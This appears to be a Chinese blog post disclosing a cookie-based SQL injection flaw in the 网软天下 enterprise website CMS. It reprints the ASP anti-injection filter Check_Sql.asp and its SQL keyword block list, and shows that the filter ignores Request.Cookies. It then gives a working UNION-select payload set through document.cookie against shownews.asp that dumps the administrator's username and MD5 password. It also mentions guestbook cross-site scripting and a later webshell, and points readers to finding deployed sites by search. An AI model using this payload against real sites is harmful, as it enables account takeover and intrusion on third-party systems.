网软天下企业网站管理系统cookies注入漏洞

by :vera

网软天下企业网站管理系统很多参数都是直接用request("id") 来接收参数,为什么他们那么放心呢?原来他们都包含了一个非常流行.很多ASP程序里都用的防注入代码,真的只需在有参数提交的文件中include防注入文件就是了安全吗?我们来看看这个防注入文件。

Check_Sql.asp
<%

Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name

'——定义部份 头———————————————————————-

Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向

Err_Web = "Err.Asp" '出错时转向的页面

Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="

'在这部份定义get非法参数,使用"∥"号间隔

Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔

'——定义部份 尾———————————————————————–
'
On Error Resume Next

'—– 对 get query 值 的过滤.

if request.QueryString<>"" then //request.QueryString
Chk_badword=split(Query_Badword,"∥") //用split()把参数分割了
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then //呵呵,他们还没有低级到连LCase()都不用!
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if

'—–对 post 表 单值的过滤.

if request.form<>"" then //request.form
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
它遍历GET和POST中很多危险的参数,常用来获得数据的有两种方式:一种就是:GET方式(Request.QueryString)另一种就是:表单POST提交的数据(Request. Form)和Cookies(Request.Cookies),而上面的防注入只是对Request对象的QueryString和From集合进行过滤,却忽略了Request.Cookies 可爱的注入出现了,我们可以用cookie注入来得到管理员的密码帐号。这里我们不仅仅可以注入,也可以跨站,这样的防注入形同虚设。

注入漏洞
下面我们来测试一下:我们就来
利用shownews.asp 在地址栏中打开http://127.0.0.1/shownews.asp?id=1 清空地址栏,利用union语句来注入,提交:javascript:alert(document.cookie="id="+escape("77 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin")) 提交后我们访问
http://127.0.0.1/shownews.asp 在页面中直接返回了管理员的帐号和16位MD5加密的密码,这样我们就已经成功拿到了管理员的帐号和密码。至于什么在后台拿到WEBSHELL,这里我就不说了。

跨站漏洞

跨站漏洞我不想多说了,直接在客户留言那里写上跨站代码就可以了!

网软天下的产品还有很多不知道是不是都是这么写的,百度直接搜索:网软天下信息技术有限公司 就可以看到很多,大家可以自己去他们官方网站 下载回来测试一下。现在网上的很多ASP程序都用上面的代码来防注入,希望用上面代码来防注入的网站注意了!

相关日志

发表评论